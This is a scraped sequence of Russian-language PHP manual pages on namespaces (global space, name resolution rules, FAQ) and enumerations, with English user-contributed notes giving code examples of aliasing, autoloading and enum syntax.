Something that is not immediately obvious, particular with PHP 5.3, is that namespace resolutions within an import are not resolved recursively.  i.e.: if you alias an import and then use that alias in another import then this latter import will not be fully resolved with the former import.

For example:
use \Controllers as C;
use C\First;
use C\Last;

Both the First and Last namespaces are NOT resolved as \Controllers\First or \Controllers\Last as one might intend.
x at d dot a dot r dot k dot REMOVEDOTSANDTHIS dot gray dot org 02-Jan-2013 05:13
You are allowed to "use" the same resource multiple times as long as it is imported under a different alias at each invocation.

For example:

<?php
use Lend;
use Lend\l1;
use Lend\l1 as l3;
use Lend\l2;
use Lend\l1\Keller;
use Lend\l1\Keller as Stellar;
use Lend\l1\Keller as Zellar;
use Lend\l2\Keller as Dellar;

...

?>

In the above example, "Keller", "Stellar", and "Zellar" are all references to "\Lend\l1\Keller", as are "Lend\l1\Keller", "l1\Keller", and "l3\Keller".
c dot 1 at smithies dot org 14-Aug-2011 03:26
If you are testing your code at the CLI, note that namespace aliases do not work!

(Before I go on, all the backslashes in this example are changed to percent signs because I cannot get sensible results to display in the posting preview otherwise. Please mentally translate all percent signs henceforth as backslashes.)

Suppose you have a class you want to test in myclass.php:

<?php
namespace my%space;
class myclass {
 // ...
}
?>

and you then go into the CLI to test it. You would like to think that this would work, as you type it line by line:

require 'myclass.php';
use my%space%myclass; // should set 'myclass' as alias for 'my%space%myclass'
$x = new myclass; // FATAL ERROR

I believe that this is because aliases are only resolved at compile time, whereas the CLI simply evaluates statements; so use statements are ineffective in the CLI.

If you put your test code into test.php:
<?php
require 'myclass.php';
use my%space%myclass;
$x = new myclass;
//...
?>
it will work fine.

I hope this reduces the number of prematurely bald people.
thinice at gmail.com 01-Dec-2010 10:07
Because imports happen at compile time, there's no polymorphism potential by embedding the use keyword in a conditonal.

e.g.:

<?php
if ($objType == 'canine') {
  use Animal\Canine as Beast;
}
if ($objType == 'bovine') {
  use Animal\Bovine as Beast;
}

$oBeast = new Beast;
$oBeast->feed();
?>


Глобальное пространство

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Без определения пространства имён, определения всех классов и функций находятся в глобальном пространстве - так же, как это было в PHP до введения пространств имён. Добавление префикса \ к именам означает, что это имя должно находиться в глобальном пространстве, даже если вы находитесь в контексте определённого пространства имён.

Пример #1 Использование глобального пространства и его задание

<?php
namespace A\B\C;

/* Эта функция является A\B\C\fopen */
function fopen() {
/* ... */
$f = \fopen(...); // вызов глобальной функции fopen
return $f;
}
?>

User Contributed Notes

PhoneixSegovia at gmail dot com 24-Aug-2022 12:18
Note that variables aren't part of the namespace so they are always global (or scoped to function, etc.) and can't be accessed the same way as other namespace stuff.

So no:

    namespace Foo;
    $var = "hello";
    echo \Foo\$var;
hileon at gmail dot com 25-Nov-2015 08:17
This design of access globe name is bad, at least inconvenient.
In case that you have some legacy code, and try to copy and re-use it under some namespace. You have to add prefix "\" on any global function call.
nobody at example dot com 15-May-2015 07:59
In namespaced context the Exception class needs to be prefixed with global prefix operator.

<?php

namespace hey\ho\lets\go;

class MyClass
{
    public function failToCatch()
    {
        try {
            $thing = somethingThrowingAnException();
        } catch (Exception $ex) {
              // Not catched
        }
    }

    public function succeedToCatch()
    {
        try {
            $thing = somethingThrowingAnException();
        } catch (\Exception $ex) {
              // This is now catched
        }
    }

}
xmarcos at gmail dot com 21-May-2012 07:08
That's the expected behavior, you have to declare the namespace at the top of the file to "extend" it.

If you include a global namespaced file, it will operate on the global namespace.
routinet 28-Aug-2011 11:22
Included files will default to the global namespace.
<?php
//test.php
namespace test {
  include 'test1.inc';
  echo '-',__NAMESPACE__,'-<br />';
}
?>

<?php
//test1.inc
  echo '-',__NAMESPACE__,'-<br />';
?>

Results of test.php:

--
-test-


Использование пространств имён: переход к глобальной функции/константе

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Внутри пространства имён, когда PHP встречает неполное имя класса, функции или константы, он преобразует эти имена с разными приоритетами. Имена классов всегда преобразуются к текущему имени пространства имён. Таким образом, чтобы получить доступ ко внутреннему классу или пользовательскому классу вне пространства имён, необходимо ссылаться по их абсолютному имени. Например:

Пример #1 Доступ к глобальным классам внутри пространства имён

<?php
namespace A\B\C;
class Exception extends \Exception {}

$a = new Exception('hi'); // $a - это объект класса A\B\C\Exception
$b = new \Exception('hi'); // $b - это объект класса Exception

$c = new ArrayObject; // фатальная ошибка, класс A\B\C\ArrayObject не найден
?>

Для функций и констант, PHP будет прибегать к глобальным функциям или константам, если функция или константа не существует в пространстве имён.

Пример #2 Необходимость прибегнуть к глобальным функциям/константам внутри пространства имён

<?php
namespace A\B\C;

const E_ERROR = 45;
function strlen($str)
{
return \strlen($str) - 1;
}

echo E_ERROR, "\n"; // выводит "45"
echo INI_ALL, "\n"; // выводит "7" - прибегнет к глобальной INI_ALL

echo strlen('hi'), "\n"; // выводит "1"
if (is_array('hi')) { // выводит строку "это не массив"
echo "это массив\n";
} else {
echo "это не массив\n";
}
?>

User Contributed Notes

markus at malkusch dot de 04-Dec-2014 08:22
You can use the fallback policy to provide mocks for built-in functions like time(). You therefore have to call those functions unqualified:

<?php
namespace foo;

function time() {
    return 1234;
}

assert (1234 == time());
?>

However there's a restriction that you have to define the mock function before the first usage in the tested class method. This is documented in Bug #68541.

You can find the mock library php-mock at GitHub.


Правила разрешения имён

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Для этих правил здесь приведены несколько важных определений:

Определения имени пространства имён
Неполное имя

Это идентификатор без разделителя пространств имён, например, Foo

Полное имя

Это идентификатор с разделителем пространств имён, например, Foo\Bar

Абсолютное имя

Это идентификатор с разделителем пространств имён, который начинается с разделителя пространств имён, например, \Foo\Bar. Пространство имён \Foo также является абсолютным именем.

Относительное имя

Это идентификатор, начинающийся с namespace, такой как namespace\Foo\Bar.

Имена разрешаются согласно следующим правилам:

  1. Абсолютные имена всегда разрешаются без ведущего разделителя пространства имён. Например, \A\B разрешается в A\B.
  2. Относительные имена всегда разрешаются в имена с заменой namespace на текущее пространство имён. Если имя встречается в глобальном пространстве имён, префикс namespace\ просто удаляется. К примеру namespace\A внутри пространства имён X\Y разрешается в X\Y\A. То же самое имя в глобальном пространстве имён разрешается в A.
  3. Для полных имён первый сегмент преобразуется в соответствии с текущей таблицей импорта класса или пространства имён. Например, пространство имён A\B\C импортировано как C, тогда имя C\D\E преобразуется в A\B\C\D\E.
  4. Для полных имён, если не применяется никакого правила импорта, текущее пространство имён добавляется к имени. Например, имя C\D\E внутри пространства имён A\B, преобразуется в A\B\C\D\E.
  5. Для неполных имён имена преобразуются текущей таблице импорта в зависимости от типа элемента. Это означает, что имена классов преобразуются согласно таблице импорта классов, имена функций - согласно таблице импорта функций и константы согласно таблице импорта констант. К примеру, после use A\B\C;, использование new C() разрешается как A\B\C(). Аналогично, после use function A\B\foo;, использование foo() разрешается как A\B\foo.
  6. Неполные имена, если отсутствуют ограничения в таблице импорта и если они используются как класс, то они разрешаются с префиксом текущего пространства имён. Например, new C() внутри пространства имён A\B разрешаются как A\B\C.
  7. Неполные имена, если отсутствуют ограничения в таблице импорта и если они используются как функция или константа, а код находится не в глобальном пространстве имён, имена разрешаются во время исполнения. Например код, в пространстве имён A\B, вызывающий функцию foo(), разрешается так:
    1. Производится поиск функции из текущего пространства имён: A\B\foo().
    2. PHP пытается найти и вызвать функцию глобального пространства foo().

Пример #1 Примеры разрешения имён

<?php
namespace A;
use B\D, C\E as F;

// вызовы функций

foo(); // сперва пытается вызвать "foo", определённую в пространстве имён "A",
// затем вызывает глобальную функцию "foo"

\foo(); // вызывает функцию "foo", определённую в глобальном пространстве

my\foo(); // вызывает функцию "foo", определённую в пространстве "A\my"

F(); // сперва пытается вызвать "F", определённую в пространстве имён "A",
// затем вызывает глобальную функцию "F"

// ссылки на классы

new B(); // создаёт объект класса "B", определённого в пространстве имён "A".
// если не найден, то пытается сделать автозагрузку класса "A\B"

new D(); // используя правила импорта, создаёт объект класса "D", определённого в пространстве имён "B"
// если не найден, то пытается сделать автозагрузку класса "B\D"

new F(); // используя правила импорта, создаёт объект класса "E", определённого в пространстве имён "C"
// если не найден, то пытается сделать автозагрузку класса "C\E"

new \B(); // создаёт объект класса "B", определённого в глобальном пространстве,
// если не найден, то пытается сделать автозагрузку класса "B"

new \D(); // создаёт объект класса "D", определённого в глобальном пространстве,
// если не найден, то пытается сделать автозагрузку класса "D"

new \F(); // создаёт объект класса "F", определённого в глобальном пространстве,
// если не найден, то пытается сделать автозагрузку класса "F"

// статические методы/функции пространства имён из другого пространства имён

B\foo(); // вызывает функцию "foo" из пространства имён "A\B"

B::foo(); // вызывает метод "foo" из класса "B", определённого в пространстве имён "A"
// если класс "A\B" не найден, то пытается сделать автозагрузку класса "A\B"

D::foo(); // используя правила импорта, вызывает метод "foo" класса "D", определённого в пространстве имён "B"
// если класс "B\D" не найден, то пытается сделать автозагрузку класса "B\D"

\B\foo(); // вызывает функцию "foo" из пространства имён "B"

\B::foo(); // вызывает метод "foo" класса "B" из глобального пространства
// если класс "B" не найден, то пытается сделать автозагрузку класса "B"

// статические методы/функции пространства имён из текущего пространства имён

A\B::foo(); // вызывает метод "foo" класса "B" из пространства имён "A\A"
// если класс "A\A\B" не найден, то пытается сделать автозагрузку класса "A\A\B"

\A\B::foo(); // вызывает метод "foo" класса "B" из пространства имён "A"
// если класс "A\B" не найден, то пытается сделать автозагрузку класса "A\B"
?>

User Contributed Notes

anrdaemon at freemail dot ru 12-Feb-2016 10:32
Namespaces may be case-insensitive, but autoloaders most often do.
Do yourself a service, keep your cases consistent with file names, and don't overcomplicate autoloaders beyond necessity.
Something like this should suffice for most times:

<?php

namespace org\example;

function spl_autoload($className)
{
  $file = new \SplFileInfo(__DIR__ . substr(strtr("$className.php", '\\', '/'), 11));
  $path = $file->getRealPath();
  if(empty($path))
  {
    return false;
  }
  else
  {
    return include_once $path;
  }
}

\spl_autoload_register('\org\example\spl_autoload');
?>
llmll 21-Dec-2014 01:05
The mentioned filesystem analogy fails at an important point:

Namespace resolution *only* works at declaration time. The compiler fixates all namespace/class references as absolute paths, like creating absolute symlinks.

You can't expect relative symlinks, which should be evaluated during access -> during PHP runtime.

In other words, namespaces are evaluated like __CLASS__ or self:: at parse-time. What's *not* happening, is the pendant for late static binding like static:: which resolves to the current class at runtime.

So you can't do the following:

namespace Alpha;
class Helper {
    public static $Value = "ALPHA";
}
class Base {
    public static function Write() {
        echo Helper::$Value;
    }
}

namespace Beta;
class Helper extends \Alpha\Helper {
    public static $Value = 'BETA';
}
class Base extends \Alpha\Base {}

\Beta\Base::Write(); // should write "BETA" as this is the executing namespace context at runtime.

If you copy the write() function into \Beta\Base it works as expected.
dn dot permyakov at gmail dot com 11-Jul-2014 10:02
Can someone explain to me -  why do we need p.4 if we have p.2 (which covers both unqualified and qualified names)?
CJ Taylor 14-Feb-2014 09:52
It took me playing with it a bit  as I had a hard time finding documentation on when a class name matches a namespace, if that's even legal and what behavior to expect.  It IS explained in #6 but I thought I'd share this with other souls like me that see it better by example.  Assume all 3 files below are in the same directory.

file1.php
<?php
namespace foo;

class foo {
  static function hello() {
    echo "hello world!";
  }
}
?>

file2.php
<?php
namespace foo;
include('file1.php');

foo::hello(); //you're in the same namespace, or scope.
\foo\foo::hello(); //called on a global scope.
?>

file3.php
<?php
include('file1.php');

foo\foo::hello(); //you're outside of the namespace
\foo\foo::hello(); //called on a global scope.
?>

Depending upon what you're building (example: a module, plugin, or package on a larger application), sometimes declaring a class that matches a namespace makes sense or may even be required.  Just be aware that if you try to reference any class that shares the same namespace, omit the namespace unless you do it globally like the examples above.

I hope this is useful, particularly for those that are trying to wrap your head around this 5.3 feature.
Kavoir.com 22-Jan-2014 10:25
For point 4, "In example, if the namespace A\B\C is imported as C" should be "In example, if the class A\B\C is imported as C".
kdimi 27-Oct-2010 06:35
If you like to declare an __autoload function within a namespace or class, use the spl_autoload_register() function to register it and it will work fine.
safakozpinar at NOSPAM dot gmail dot com 22-Oct-2010 01:04
As working with namespaces and using (custom or basic) autoload structure; magic function __autoload must be defined in global scope, not in a namespace, also not in another function or method.

<?php
namespace Glue {
    /**
     * Define your custom structure and algorithms
     * for autoloading in this class.
     */
    class Import
    {
        public static function load ($classname)
        {
            echo 'Autoloading class '.$classname."\n";
            require_once $classname.'.php';
        }
    }
}

/**
 * Define function __autoload in global namespace.
 */
namespace {

    function __autoload ($classname)
    {
        \Glue\Import::load($classname);
    }

}
?>
rangel 31-Jul-2009 12:48
The term "autoload" mentioned here shall not be confused with __autoload function to autoload objects. Regarding the __autoload and namespaces' resolution I'd like to share the following experience:

->Say you have the following directory structure:

- root
      | - loader.php
      | - ns
             | - foo.php

->foo.php

<?php
namespace ns;
class foo
{
    public $say;

    public function __construct()
    {
        $this->say = "bar";
    }

}
?>

-> loader.php

<?php
//GLOBAL SPACE <--
function __autoload($c)
{
    require_once $c . ".php";
}

class foo extends ns\foo // ns\foo is loaded here
{
    public function __construct()
    {
        parent::__construct();
        echo "<br />foo" . $this->say;
    }
}
$a = new ns\foo(); // ns\foo also loads ns/foo.php just fine here.
echo $a->say;   // prints bar as expected.
$b = new foo;  // prints foobar just fine.
?>

If you keep your directory/file matching namespace/class consistence the object __autoload works fine.
But... if you try to give loader.php a namespace you'll obviously get fatal errors.
My sample is just 1 level dir, but I've tested with a very complex and deeper structure. Hope anybody finds this useful.

Cheers!
rangel 31-Jul-2009 12:47
The term "autoload" mentioned here shall not be confused with __autoload function to autoload objects. Regarding the __autoload and namespaces' resolution I'd like to share the following experience:

->Say you have the following directory structure:

- root
      | - loader.php
      | - ns
             | - foo.php

->foo.php

<?php
namespace ns;
class foo
{
    public $say;

    public function __construct()
    {
        $this->say = "bar";
    }

}
?>

-> loader.php

<?php
//GLOBAL SPACE <--
function __autoload($c)
{
    require_once $c . ".php";
}

class foo extends ns\foo // ns\foo is loaded here
{
    public function __construct()
    {
        parent::__construct();
        echo "<br />foo" . $this->say;
    }
}
$a = new ns\foo(); // ns\foo also loads ns/foo.php just fine here.
echo $a->say;   // prints bar as expected.
$b = new foo;  // prints foobar just fine.
?>

If you keep your directory/file matching namespace/class consistence the object __autoload works fine.
But... if you try to give loader.php a namespace you'll obviously get fatal errors.
My sample is just 1 level dir, but I've tested with a very complex and deeper structure. Hope anybody finds this useful.

Cheers!


Часто задаваемые вопросы (FAQ): вещи, которые вам необходимо знать о пространствах имён

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Этот список вопросов разделён на две части: общие вопросы и некоторые особенности реализации, которые полезны для более полного понимания.

Сперва, общие вопросы.

  1. Если я не использую пространства имён, следует ли считать что-либо из этого важным?
  2. Как мне использовать внутренние или глобальные классы в пространстве имён?
  3. Как мне использовать функции классов в пространствах имён, или константы в их собственном пространстве имён?
  4. Как такое имя как \my\name или \name преобразуется?
  5. Как такое имя, как my\name преобразуется?
  6. Как неполное имя класса такое как name преобразуется?
  7. Как неполное имя функции или неполное имя константы такое как name преобразуется?

Некоторые детали реализации пространств имён, которые полезно понимать.

  1. Импортируемые имена не должны конфликтовать с классами, определёнными в том же файле.
  2. Вложенные пространства имён недопустимы.
  3. Динамические имена пространств имён (идентификаторы, взятые в кавычки) должны экранировать символ обратного слеша.
  4. Ссылаться на неопределённые константы, используя обратный слеш, нельзя. Выводится фатальная ошибка
  5. Невозможно переопределить специальные константы, такие как NULL, TRUE, FALSE, ZEND_THREAD_SAFE или ZEND_DEBUG_BUILD

Если я не использую пространства имён, следует ли считать что-либо из этого важным?

Нет. Пространства имён не оказывают никакого влияния ни на какой существующий код ни в каком виде или на любой написанный код, который не содержит пространств имён. Вы можете написать такой код, если желаете:

Пример #1 Доступ к глобальным классам вне пространства имён

<?php
$a = new \stdClass;
?>

Это функционально эквивалентно следующему:

Пример #2 Доступ к глобальным классам вне пространства имён

<?php
$a = new stdClass;
?>

Как мне использовать внутренние или глобальные классы в пространстве имён?

Пример #3 Доступ ко внутренним классам в пространствах имён

<?php
namespace foo;
$a = new \stdClass;

function test(\ArrayObject $parameter_type_example = null) {}

$a = \DirectoryIterator::CURRENT_AS_FILEINFO;

// расширение внутреннего или глобального класса
class MyException extends \Exception {}
?>

Как мне использовать функции классов в пространствах имён или константы в их собственном пространстве имён?

Пример #4 Доступ ко внутренним классам, функциям или константам в пространствах имён

<?php
namespace foo;

class MyClass {}

// использование класса из текущего пространства имен в качестве типа параметра
function test(MyClass $parameter_type_example = null) {}
// другой способ использовать класс из текущего пространства имен в качестве типа параметра
function test(\foo\MyClass $parameter_type_example = null) {}

// расширение класса из текущего пространства имён
class Extended extends MyClass {}

// доступ к глобальной функции
$a = \globalfunc();

// доступ к глобальной константе
$b = \INI_ALL;
?>

Как такое имя как \my\name или \name преобразуется?

Имена, которые начинаются с \ всегда преобразуются к тому как они выглядят, т.е. \my\name - это на самом деле my\name, и \Exception - это Exception.

Пример #5 Абсолютные имена

<?php
namespace foo;
$a = new \my\name(); // создаёт экземпляр класса "my\name"
echo \strlen('hi'); // вызывает функцию "strlen"
$a = \INI_ALL; // переменной $a присваивается значение константы "INI_ALL"
?>

Как такое имя, как my\name преобразуется?

Имена, которые содержат обратный слеш, но не начинаются с него, такие как my\name могут быть преобразованы двумя различными способами.

Если присутствует импортирующее выражение, которое создаёт синоним my другого имени, то этот синоним применяется к my в my\name.

В ином случае, текущее имя пространства имён становится префиксом к my\name.

Пример #6 Полные имена

<?php
namespace foo;
use blah\blah as foo;

$a = new my\name(); // создаёт экземпляр класса "foo\my\name"
foo\bar::name(); // вызывает статический метод "name" в классе "blah\blah\bar"
my\bar(); // вызывает функцию "foo\my\bar"
$a = my\BAR; // присваивает переменной $a значение константы "foo\my\BAR"
?>

Как неполное имя класса такое как name преобразуется?

Имена классов, которые не содержат обратный слеш, такие как name могут быть преобразованы двумя различными способами.

Если присутствует импортирующее выражение, которое создаёт синоним name другого имени, то применяется этот синоним.

В ином случае, текущее имя пространства имён становится префиксом к name.

Пример #7 Неполные имена классов

<?php
namespace foo;
use blah\blah as foo;

$a = new name(); // создаёт экземпляр класса "foo\name"
foo::name(); // вызывает статический метод "name" в классе "blah\blah"
?>

Как неполное имя функции или неполное имя константы такое как name преобразуется?

Имена функций или констант, которые не содержат обратного слеша, такие как name могут быть преобразованы двумя различными способами.

Сперва, текущее имя пространства имён становится префиксом к name.

Затем, если константа или функция name не существует в текущем пространстве имён, используется глобальная константа или функция name, если она существует.

Пример #8 Неполные имена функций или констант

<?php
namespace foo;
use blah\blah as foo;

const FOO = 1;

function my() {}
function foo() {}
function sort(&$a)
{
\sort($a); // вызывает глобальную функцию "sort"
$a = array_flip($a);
return $a;
}

my(); // вызывает "foo\my"
$a = strlen('hi'); // вызывает глобальную функцию "strlen", потому что "foo\strlen" не существует
$arr = array(1,3,2);
$b = sort($arr); // вызывает функцию "foo\sort"
$c = foo(); // вызывает функцию "foo\foo" - импорт не применяется

$a = FOO; // присваивает переменной $a значение константы "foo\FOO" - импорт не применяется
$b = INI_ALL; // присваивает переменной $b значение глобальной константы "INI_ALL"
?>

Импортируемые имена не должны конфликтовать с классами, определёнными в том же файле.

Следующие комбинации скриптов допустимы:

file1.php

<?php
namespace my\stuff;
class MyClass {}
?>

another.php

<?php
namespace another;
class thing {}
?>

file2.php

<?php
namespace my\stuff;
include 'file1.php';
include 'another.php';

use another\thing as MyClass;
$a = new MyClass; // создаёт экземпляр класса "thing" из пространства имён "another"
?>

Конфликт имён отсутствует даже несмотря на то, что класс MyClass существует внутри пространства имён my\stuff, потому что определение MyClass находится в отдельном файле. Однако следующий пример приводит к фатальной ошибке с конфликтом имён, потому что класс MyClass определён в том же файле, где находится оператор use.

<?php
namespace my\stuff;
use another\thing as MyClass;
class MyClass {} // фатальная ошибка: MyClass конфликтует с выражением импорта
$a = new MyClass;
?>

Вложенные пространства имён недопустимы.

PHP не позволяет вложение пространств имён одно в другое

<?php
namespace my\stuff {
namespace nested {
class foo {}
}
}
?>
Однако, можно сымитировать вложенные пространства имён так:
<?php
namespace my\stuff\nested {
class foo {}
}
?>

Динамические имена пространств имён (идентификаторы, взятые в кавычки) должны экранировать символ обратного слеша.

Очень важно представлять это, потому что обратный слеш используется как экранирующий символ внутри строк. Он всегда должен быть продублирован, когда используется внутри строки, иначе появляется риск возникновения неумышленных последствий:

Пример #9 Подводные камни при использовании имени пространства имён внутри строки с двойными кавычками

<?php
$a = "dangerous\name"; // \n - это переход на новую строку внутри строки с двойными кавычками!
$obj = new $a;

$a = 'not\at\all\dangerous'; // а тут нет проблем.
$obj = new $a;
?>
Внутри строк, заключённых в одинарные кавычки, обратный слеш в качестве разделителя более безопасен, но по-прежнему рекомендуемая практика экранирования обратного слеша во всех строках является наилучшим вариантом.

Ссылаться на неопределённые константы, используя обратный слеш, нельзя. Выводится фатальная ошибка

Любая неопределённая константа, являющаяся неполным именем, как FOO, будет приводить к выводу сообщения о том, что PHP предположил, что FOO было значение константы. Любая константа, с полным или абсолютным именем, которая содержит символ обратного слеша будет приводить к фатальной ошибке, если не будет найдена.

Пример #10 Неопределённые константы

<?php
namespace bar;
$a = FOO; // выводит предупреждение: undefined constants "FOO" assumed "FOO";
$a = \FOO; // фатальная ошибка: undefined namespace constant FOO
$a = Bar\FOO; // фатальная ошибка: undefined namespace constant bar\Bar\FOO
$a = \Bar\FOO; // фатальная ошибка: undefined namespace constant Bar\FOO
?>

Невозможно переопределить специальные константы, такие как NULL, TRUE, FALSE, ZEND_THREAD_SAFE или ZEND_DEBUG_BUILD

Любая попытка определить константу пространства имён, которая совпадает с названиями специальных встроенных констант, приведёт к фатальной ошибке.

Пример #11 Неопределённые константы

<?php
namespace bar;
const NULL = 0; // Фатальная ошибка;
const true = 'stupid'; // также фатальная ошибка;
// и т.д.
?>

User Contributed Notes

theking2 at king dot ma 09-Jul-2022 10:18
Just like class names currently namespaces are not case sensitive. So no errors will be shown here:

<?php declare(strict_types=1);
namespace Foo;
class Bar {
  public function __construct() {
    echo 'Map constructed';
  }
}

$foobar = new \foo\bar();
shaun at slickdesign dot com dot au 04-Oct-2016 07:20
When creating classes or calling static methods from within namespaces using variables, you need to keep in mind that they require the full namespace in order for the appropriate class to be used; you CANNOT use an alias or short name, even if it is called within the same namespace. Neglecting to take this into account can cause your code to use the wrong class, throw a fatal missing class exception, or throw errors or warnings.

In these cases, you can use the magic constant __NAMESPACE__, or specify the full namespace and class name directly. The function class_exists also requires the full namespace and class name, and can be used to ensure that a fatal error won't be thrown due to missing classes.

<?php

namespace Foo;
class Bar {
    public static function test() {
        return get_called_class();
    }
}

namespace Foo\Foo;
class Bar extends \Foo\Bar {
}

var_dump( Bar::test() ); // string(11) "Foo\Foo\Bar"

$bar = 'Foo\Bar';
var_dump( $bar::test() ); // string(7) "Foo\Bar"

$bar = __NAMESPACE__ . '\Bar';
var_dump( $bar::test() ); // string(11) "Foo\Foo\Bar"

$bar = 'Bar';
var_dump( $bar::test() ); // FATAL ERROR: Class 'Bar' not found or Incorrect class \Bar used
teohad at NOSPAM dot gmail dot com 24-Apr-2016 09:02
[Editor's note: that behavior is caused by a bug in PHP 7.0, which has been fixed as of PHP 7.0.7.]

Regarding the entry "Import names cannot conflict with classes defined in the same file".
- I found that since PHP 7.0 this is no longer the case.
In PHP 7.0 you can have a class with a name that matches an imported class (or namespace or both at the same time).

<?php
namespace ns1 {
  class ns1 {
    public static function write() {
      echo "ns1\\ns1::write()\n";
    }
  }
}

namespace ns1\ns1 {
  class ns1c {
    public static function write() {
      echo "ns1\\ns1\\ns1c::write()\n";
    }
  }
}

namespace ns2 {
  use ns1\ns1 as ns1; // both a class in ns1, and a namespace ns1\ns1

  // the next class causes fatal error in php 5.6, not in 7.0
  class ns1 {
    public static function write() {
      echo "ns2\\ns1::write()\n";
    }
  }

  ns1::write(); // calls imported ns1\ns1::write()
  ns1\ns1c::write(); // calls imported ns1\ns1\ns1c::write()
  namespace\ns1::write(); // calls ns2\ns1::write()
}
?>
phpcoder 25-Mar-2015 01:01
Regarding "Neither functions nor constants can be imported via the use statement." Actually you can do it in PHP 5.6+:

<?php

// importing a function (PHP 5.6+)
use function My\Full\functionName;

// aliasing a function (PHP 5.6+)
use function My\Full\functionName as func;

// importing a constant (PHP 5.6+)
use const My\Full\CONSTANT;
?>
okaresz 25-Jul-2013 08:31
To correct manolachef's answer: define() ALWAYS defines constants in the GLOBAL namespace.

As nl-x at bita dot nl states in the note at http://www.php.net/manual/en/function.define.php, the constant "NULL" can be defined with define() case-sensitively, but can only be retrieved with constant(), leaving the meaning of NULL uppercase keyword as the only value of the type null.
manolachef at gmail dot com 10-Apr-2012 02:32
There is a way to define a namespaced constant that is a special, built-in constant, using define function and setting the third parameter case_insensitive to false:

<?php
namespace foo;
define(__NAMESPACE__ . '\NULL', 10); // defines the constant NULL in the current namespace
var_dump(NULL); // will show 10
var_dump(null); // will show NULL
?>

  No need to specify the namespace in your call to define(), like it happens usually
<?php
namespace foo;
define(INI_ALL, 'bar'); // produces notice - Constant INI_ALL already defined. But:

define(__NAMESPACE__ . '\INI_ALL', 'bar'); // defines the constant INI_ALL in the current namespace
var_dump(INI_ALL); // will show string(3)"bar". Nothing unespected so far. But:

define('NULL', 10); // defines the constant NULL in the current namespace...
var_dump(NULL); // will show 10
var_dump(null); // will show NULL
?>

  If the parameter case_insensitive is set to true
<?php
namespace foo;
define (__NAMESPACE__ . '\NULL', 10, true); // produces notice - Constant null already defined
?>


Перечисления

Содержание

  • Обзор перечислений
  • Основы перечислений
  • Типизированные перечисления
  • Методы перечислений
  • Статические методы перечислений
  • Константы перечислений
  • Трейты
  • Значения перечисления в постоянных выражениях
  • Отличия от объектов
  • Список значений
  • Сериализация
  • Почему перечисления не расширяемы
  • Примеры

User Contributed Notes

There are no user contributed notes for this page.


Обзор перечислений

(PHP 8 >= 8.1.0)

Перечисления или "Enums" позволяют разработчику определять настраиваемый тип, который ограничен одним из дискретного числа возможных значений. Это может быть особенно полезно при определении модели предметной области, поскольку позволяет "сделать неверные состояния недопустимыми".

Перечисления представлены во многих языках программирования с множеством различных функций. В PHP перечисления - это особый вид объектов. Сами перечисления являются классами и все его возможные случаи являются объектами одного экземпляра этого класса. Это означает, что варианты перечисления являются допустимыми объектами и могут использоваться везде, где можно использовать объект, включая проверки типов.

Самым популярным примером перечислений является встроенный логический тип, который представляет собой перечислимый тип с допустимыми значениями true и false. Перечисления позволяют разработчикам определять свои собственные произвольно надёжные перечисления.

User Contributed Notes

Hayley Watson 09-Apr-2023 01:06
It's important to notice that the description here doesn't describe Enum values as being constants. Some languages, like C, C++, and C#, think of an enum as a list of named integers, and working with enums in those languages is just working with integers. PHP does not do that.

In the same way that PHP's booleans are their own type and not just constants with integer values 1 and 0, an Enum is its own type. It's not a bunch of integers (or strings) that have been given names, and shouldn't be thought of or used as such.

An Enum only needs to be backed by some primitive value like an integer or string if you need to communicate it outside the program (a message, UI, db storage, wire protocol, etc) where it has to be converted from/to its native PHP value (this is addressed again on the Backed Enumerations page). If you're converting back and forth between Enums and their backing values inside your own program to get anything done then you might be missing the point of Enums.

You might want more structure to your Enum than just a pure set of distinct but otherwise nondescript values (you might at least want them to be ordered). But all that carry-on should be encapsulated within the Enum class itself via additional methods.


Основы перечислений

Перечисления похожи на классы и используют те же пространства имён, что и классы, интерфейсы и трейты. Они также могут быть загружены автоматически. Перечисления определяют новый тип, который имеет фиксированное ограниченное количество возможных допустимых значений.

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}
?>

Это объявление создаёт новый перечислимый тип с именем Suit, у которого четыре и только четыре допустимых значения: Suit::Hearts, Suit::Diamonds, Suit::Clubs и Suit::Spades. Переменным может быть присвоено одно из этих допустимых значений. Тип функции может быть проверен на соответствие типу перечисления и в этом случае могут быть переданы только значения этого типа.

<?php
function pick_a_card(Suit $suit) { ... }

$val = Suit::Diamonds;

// OK
pick_a_card($val);
// OK
pick_a_card(Suit::Clubs);
// TypeError: pick_a_card(): Argument #1 ($suit) must be of type Suit, string given
pick_a_card('Spades');
?>

Перечисление может иметь ноль или более вариантов case без ограничений. Перечисление без вариантов синтаксически корректно, хотя и бесполезно.

Для вариантов перечисления применяются те же правила синтаксиса, что и для любой метки в PHP, смотрите Константы.

По умолчанию варианты не поддерживаются скалярным значением. То есть Suit::Hearts не равно "0". Вместо этого каждый вариант поддерживается одноэлементным объектом с таким именем. Это означает, что:

<?php
$a = Suit::Spades;
$b = Suit::Spades;

$a === $b; // true

$a instanceof Suit; // true
?>

Это также означает, что значения перечисления никогда не являются < или > друг с другом, поскольку эти сравнения не имеют смысла для объектов. Сравнения всегда будут возвращать false при работе с вариантами перечисления.

Тип варианта без связанных данных называется "Чистый вариант". Перечисление, которое содержит только чистые варианты, называется чистым перечислением.

Все чистые варианты реализованы как экземпляры своего типа перечисления. Тип перечисления внутренне представлен как класс.

У всех обращений есть свойство, доступное только для чтения, name, которое является именем самого варианта, чувствительным к регистру.

<?php
print Suit::Spades->name;
// prints "Spades"
?>

Также можно использовать функции defined() и constant() для проверки существования или чтения регистра перечисления, если имя получено динамически. Однако это не рекомендуется, так как для большинства случаев использования перечислений лучше использовать Типизированные перечисления.

User Contributed Notes

There are no user contributed notes for this page.


Типизированные перечисления

По умолчанию у вариантов перечислений нет скалярного эквивалента. Это просто одноэлементные объекты. Однако существует множество случаев, когда варианты перечислений должны иметь возможность обращаться к базе данных или аналогичному хранилищу данных и обратно, поэтому полезно иметь встроенный скалярный (и, следовательно, тривиально сериализуемый) эквивалент, определённый внутренне.

Чтобы определить скалярный эквивалент для перечислений, используйте следующий синтаксис:

<?php

enum Suit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}
?>

